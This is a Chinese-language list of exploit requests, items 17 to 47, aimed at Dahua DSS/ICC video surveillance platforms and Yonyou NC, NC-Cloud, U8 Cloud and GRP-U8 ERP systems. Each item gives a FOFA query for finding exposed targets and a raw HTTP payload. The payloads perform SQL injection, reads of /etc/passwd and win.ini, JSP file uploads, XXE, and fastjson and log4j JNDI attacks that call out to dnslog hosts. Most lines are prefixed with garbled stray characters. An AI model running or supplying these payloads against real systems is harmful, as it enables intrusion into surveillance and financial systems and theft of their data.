* t+ k  t( A  fGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
$ t0 ~- |) ]" P' |6 S# k! f/ j, KHost: x.x.x.x
, @' F) ^4 ~, AUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
5 M+ b; i( t! w# ?Connection: close
2 V+ }+ n/ x. H1 N3 g' lAccept: */*
  x' m- K1 [! X# t& @: PAccept-Language: en
1 z/ R; m5 M2 ^Accept-Encoding: gzip

7 r" A. t. q! |: _1 i3 A6 F6 V
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
' l* s6 z: K3 X1 t) aPOST /portal/services/itcBulletin?wsdl HTTP/1.1
' ?' \9 I( t1 B3 B$ @Host: x.x.x.x
6 _/ W$ U/ F2 a* g5 U7 U) bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
& m5 E* j. D1 X3 jAccept-Encoding: gzip
: S! m/ B* l2 M. k
, l2 |# |3 U+ f. N( S8 S" _6 S: D<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
0 f8 k, [' ^7 x<s11:Body>
5 ^' }; U) F. k9 l    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
6 \/ k$ t; B: {% z      <netMarkings>
1 _# Z/ }$ f2 d; }: e. {% I       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
0 f$ v' j9 E6 |2 M* h* z' U    </ns1:deleteBulletin>
. Y: N# F6 R2 H9 A3 K+ o8 k  </s11:Body>
% O2 `( j( J. n! G& `</s11:Envelope>

0 ?1 m: Z2 `: K0 k% }* K: p
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
: i2 f  s  S  {; V4 O: H6 z! ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: l9 O7 e2 q7 z7 ZAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


- u2 k( B/ t% r( s& G8 x& r/ |
# y0 X6 {* Q# Y) t+ C8 v. g! B. l19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
# `" E/ w4 y2 v, }& i8 RAccept: */*
6 Y8 |$ P# a$ C) X" R) G' dConnection: keep-alive

0 K4 `% H9 m! {) p( O' [
20. 大华ICC智能物联综合管理平台任意文件读取
5 @+ O4 |: s* ?% D, UFOFA：body="*客户端会小于800*"
% [0 W" z& o3 a- uGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
) v5 F! B8 _* Y# J# nHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, M/ }  e% y0 j# |- R: ~; c5 ^( JConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
0 s" \& O( d* h: cFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
: k0 H% ]8 @  P. K" Q# m/ NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& |2 ~6 l- B5 }' S( C$ p; D9 TContent-Length: 161
Accept-Encoding: gzip
: \2 I' m9 B5 O- W) j3 @; pConnection: close
! C- y) c5 i" i* V  I9 KContent-Type: application/json;charset=utf-8

{
. s9 P$ U$ D9 u4 @"a":{
4 t3 o# |4 Q9 M3 R   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
9 X* J2 z0 y8 p  }""
6 e  I2 @. M( H$ H$ @0 f}


7 `5 J# k% V' T/ a; C' r2 r  y22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
) X( W0 c" O! N: c2 JHost: your-ip
) ^8 V( ?4 I* E5 j: |3 b7 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ W( \- i/ g8 m$ Y) v( U4 h0 gContent-Type: application/json;charset=utf-8
4 ]: `. Y0 e& @! R. h1 r
{
"loginName":"${jndi:ldap://dnslog}"
}

5 i6 q8 D5 O+ @; @3 L
* U8 ?  j2 o9 E: Z# z% E/ q; w
, ~5 o0 ~' w/ T# v23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
3 T+ c# [1 b9 F9 tFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
: r" W$ k* _) d- y3 K% qAccept-Encoding: gzip
Connection: close
, u7 `: p+ r3 e0 N' o6 ]
/ U$ t3 t4 N& |1 D% D( N8 u8 D- C7 z+ m$ Z{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
8 A$ _8 J- D0 W, I       {"@type":"java.net.URL","val":"http://DNSLOG"}
* k2 t: b9 D. D1 L+ r8 e+ f  G        }""
3 b. J- S5 q0 d# Z2 J}
; B: S/ ~3 F! ^5 t
: P. u- c1 ]! N
: G1 v( x+ x) T9 }24. 用友NC 6.5 accept.jsp任意文件上传
' @" X( Y& i* i0 _6 dFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
/ K& q" G" `1 F# y, IContent-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
! }# C: r' v5 D+ @. F( KContent-Type: text/plain
* T# o+ o1 C. r! P
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
* v: E' O$ v4 _/ P, p, zContent-Disposition: form-data; name="fname"
( {$ C! i8 O3 j1 k. f
4 c+ u( h- y3 b\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


3 a2 P( q. u1 l. t1 g8 D' _* a25. 用友NC registerServlet JNDI 远程代码执行
7 ?1 X8 c: L" ?' L4 u/ |0 bFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
# S0 L4 _* J. u' VAccept-Encoding: gzip, deflate
+ A0 C% t) y7 SAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
% S" V" T) X* Z& P0 DContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
$ r; d+ g2 G2 R2 l* S/ g" g. `
1 ^! [. Y% e3 k3 h# L

26. 用友NC linkVoucher SQL注入
+ l  M  N8 H* `8 X& `5 _: uFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
' R/ Q# i7 b. G6 }# y  u  @3 DHost: your-ip
2 j0 J1 \  E9 r5 f2 U6 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. e: j) f3 L. K& c( mContent-Type: application/x-www-form-urlencoded
5 v9 k$ o. ]# [9 ~7 S! X% I8 {$ \Accept-Encoding: gzip, deflate
Accept: */*
% J/ d3 `9 `( Y$ t* P: B3 E2 `- kConnection: keep-alive


% z' D) \. q+ J" z  d& P( o27. 用友 NC showcontent SQL注入
- J# B; o1 P8 b2 p' k: j- v9 MFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
& h: q2 D+ |: B* KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. g% Z2 |2 a2 k6 `; CAccept-Encoding: identity
Connection: close
$ {; \+ ?! [! a* z7 v* ]Content-Type: text/xml; charset=utf-8

+ O" A0 g6 b! T( Y( W
5 u% S& {- B# H8 H$ e; Z: J' K28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
, s& s* d- C; v' H. lPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
0 U6 ~. L' w9 r0 r% q+ XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
% H8 ~' I/ l/ [" AContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
1 V& \; t4 s6 ^2 B) I9 q2 L
  d" s  H  }' @" g) k------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
* t. |1 t$ e* o9 C+ X# A: |8 n
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
0 P# C: i; w; ]

/uapim/static/pages/nc/head.jsp
5 l+ L3 J1 I# F2 m
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
. r5 Y: t! E. GHost: your-ip
+ k3 M; ~; o  _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, `9 w+ h) X  r+ x1 {Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


2 Z+ Q7 e0 _0 `% m5 }2 L2 ~/ V6 `30. 用友NC importPml SQL注入
1 ?9 R6 w' m$ j$ {FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
+ y; d2 Z' m+ o" r( ?4 SContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
9 O) P: D% Q" d% V% d2 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
( h8 g, M6 ?* N' S! ?" y% DContent-Type: image/jpeg
: r/ |* D* E+ t0 i, `$ {; D; J------WebKitFormBoundaryH970hbttBhoCyj9V--
! `9 ^) d2 {% z/ p# {

. Y) W0 u' b8 [3 P3 R  J7 n31. 用友NC runStateServlet SQL注入
. b% i$ j4 H. fversion<=6.5
. z. `: a1 [" u6 ]/ E0 M3 _( |FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, F5 `0 ^( ~- V, x6 LHost: host
5 L: q7 E) ?, sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

& \7 y/ Y) S0 R+ y# l3 X
: I/ U0 S3 f$ ~7 p- [32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
! T, {3 _  w( D% qFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* s( Z; @, \& J% jContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
* K3 w( E" x& [" g2 S; N) xConnection: keep-alive

& |" y5 g" W$ }/ H$ D
3 @0 p* S4 h5 g8 k  l33. 用友NC downTax/download SQL注入
+ m+ e2 q% z" _2 D7 G) qversion：NC6.5FOFA：app="用友-UFIDA-NC"
( Z; p0 Q* r% e  e" Z0 x; y( NGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
/ ]" m/ O3 o6 ]- p5 m1 A4 HHost: your-ip
8 w8 N" ~% F+ M& Y5 W9 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
+ E7 L# [( v+ V  ^$ |Accept-Encoding: gzip, deflate
Accept: */*
- M3 \: J- @2 {0 g3 w2 fConnection: keep-alive
1 e6 J1 c. m. e/ Y6 P

( h8 ^/ k- {0 ]# W# g34. 用友NC warningDetailInfo接口SQL注入
3 ~$ j; z  d0 }9 `FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 {# Q' S$ S) w% ^3 a1 SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" T2 f( W5 k% QContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
  X7 \0 E  d: R/ ]; L4 pAccept: */*
Connection: keep-alive
7 R+ s+ V1 T5 s5 Q2 J& m* k/ J
& _) u7 |6 P7 n$ x) N6 `
. c8 B9 q% `$ q2 S0 ?! a6 m% ^" S35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
8 B  p1 G( d3 p# E, g1 qAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
3 ~4 H7 b* I/ V9 i" H
. v  @) S3 W* m: P9 o# j) T) a--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

) |/ `8 f; }6 {) @% u0 k<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


8 M! ^1 S3 I- J( f& I: A36. 用友NC-Cloud soapFormat XXE
( y; l5 k4 s0 l, u0 T' cFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
& g5 y! q$ p4 u) y/ hContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ ?5 }& r% S1 |3 m" ?# X2 l3 _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
8 p8 F; @* O/ [Content-Type: application/x-www-form-urlencoded
% L2 T1 U4 y  }$ o5 R' a( }8 ]& B/ YUpgrade-Insecure-Requests: 1

5 i3 G# Z6 ^! e. K# hmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
, e) |* ~4 w# J- c
* ?* b" g5 K+ E4 `
5 U1 ]  ]- S9 M5 h+ o/ s7 B* J37. 用友NC-Cloud IUpdateService XXE
, m8 N' `7 z/ [0 KFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
3 v0 a: I- e0 m* Y5 ]; M. E& N8 pPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
  g) ^+ W6 N3 C0 ?& y3 b% |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
( ~* [- V  V; R" |0 ?Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
4 y. S" V4 x, \Accept-Encoding: gzip, deflate
, T4 X9 t+ j, b9 J5 DAccept-Language: zh-CN,zh;q=0.9
; P7 v5 X+ O- J  Q& U" a4 g$ RConnection: close
: c' C  l; G% q* E) z6 [Content-Type: text/xml;charset=UTF-8
& b8 @6 n5 K# F1 N7 YSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

. z' h! s1 C8 B* u+ o* q2 v' [<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
# S, G0 V8 m6 {<soapenv:Body>
, q9 ?$ t5 y% u<iup:getResult>
9 C3 _4 `7 C1 |6 l; x$ R3 M<!--type: string-->
<iup:string><![CDATA[
  t0 Z$ O+ T6 ~8 r<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
* N# ^; M/ Q- I8 [6 O<xxx/>]]></iup:string>
0 X  }9 ^$ p; O: m/ h2 H: q8 O</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>

' K$ O4 G0 q) @. s/ {

38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
0 ^5 L/ n. Y( N3 R- d. J1 J5 }POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
% h, }$ I9 j; l1 S6 LHost: 192.168.40.131:8088
) O9 a. J$ Y# V  e8 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
# V+ X: X2 M+ L9 \1 f, {) J2 ^Accept-Encoding: gzip, deflate
! `5 v: ^1 S. F$ N( EAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
* L$ s3 y, c- t* h; W; i8 BContent-Length: 85
Accept: */*
Accept-Language: en
; N) }1 k: x$ o9 |# ~Content-Type: application/x-www-form-urlencoded
8 d. s8 l+ e+ i2 P6 c& h5 KX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

, u  h5 s' ~8 U: X" Lusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
1 b, F. ]7 a* u, `
& Y% t1 y: K/ A4 x, m3 b
40. 用友U8-Cloud XChangeServlet XXE
8 C  g7 ], h# u! u4 wFOFA：app="用友-U8-Cloud"
' B7 W8 F( m: `+ l' c; a; a+ p6 ePOST /service/XChangeServlet HTTP/1.1
( m' k% {% n' T& R& ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: ]( x0 }; C) V) ]  a; rContent-Type: text/xml
8 ]1 k& f" e8 e( U% H. v% o- QConnection: close
/ V9 B0 \: M% p. R+ i2 c0 Q6 ]. f
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
7 D) |* f% n  N; s; L+ r
; ]9 x7 m% {3 C7 d
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
: K; R' h' c) {8 X* y. YFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, `% R+ X. q! c6 ^; LContent-Type: application/json
" C% _" p! N" \$ EAccept-Encoding: gzip
  q" ~0 I" H: G) [Connection: close
+ x6 D8 J* J0 @( G

4 {9 |  ~- K/ `7 F42. 用友GRP-U8 SmartUpload01 文件上传
/ ^# T7 N5 Q3 ]& X# o5 H  cFOFA：app="用友-GRP-U8"
4 Q, e; s* }3 bPOST /u8qx/SmartUpload01.jsp HTTP/1.1
) T- B9 O& I4 bHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
/ t3 \4 t1 w& d$ A5 @: e
8 X  ^# s. m4 k, Z/ A- iPAYLOAD

0 \  K% M* k9 o( c% @; W0 ]
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
2 q& i1 B' |9 z' a1 F7 Y5 U2 A
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
& S8 p2 F3 [- R( iPOST /services/userInfoWeb HTTP/1.1
3 S7 g8 n) K3 l5 p9 HHost: your-ip
$ r/ R1 i8 Y, l/ V3 b1 V: r% c/ z# KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
4 I) m8 K% g( R/ tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
5 ~, v/ C7 t+ C3 T4 l# q: ?# iAccept-Language: zh-CN,zh;q=0.9
* w( ~+ n/ W9 q: PConnection: close
$ D* V3 p- }) K/ qSOAPAction:
* \4 R' |; E/ }: a0 r: \Content-Type: text/xml;charset=UTF-8
! ]; X% L) B. V8 O* v
9 u0 s+ Q" \8 u( t  j<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
- }: B) y! J, ^  _& x; [   <soapenv:Header/>
7 T! s) ~1 U; H0 d# B   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
, y$ s; V$ A' c$ l. `</soapenv:Envelope>

7 Y' r( U3 E& N  M- _: n) [9 g! N
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
5 S- h, i5 g+ x: e8 }4 o6 u& EGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
' m8 Y: @1 C, u4 CHost: your-ip
: o0 j- H" C- G# o3 ]5 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
& F& M( q! l( D: \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- V/ K# S& q7 B7 P# s% \6 Z4 uAccept-Encoding: gzip, deflate
) h" ]% B9 f: D& o) S/ r( fAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 @& s0 R% g8 Z+ |5 J" M
) q* y7 \3 ^# l+ c- _
/ _' D: b# o. \/ X1 _45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
" Y. Q# {% G( ]$ h# F; pHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
; W' L' q4 z; o8 z& V. O7 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 a& d1 y3 S' G( s/ K6 Q  o/ BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

+ G8 S3 z, Q1 k/ l8 JreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


1 X1 h3 D" Z9 Z$ b  ?46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. s5 ?. L8 a% m! F- B4 S6 sFOFA：app="用友-GRP-U8"
# S6 M# Q# B% G8 cGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
& ?( h  E# R/ N( t7 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

' ]2 e; m0 R5 k8 q
47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
8 e* o" m' I# d4 O8 Y& n. w6 [/ EHost: x.x.x.x
Cache-Control: max-age=0
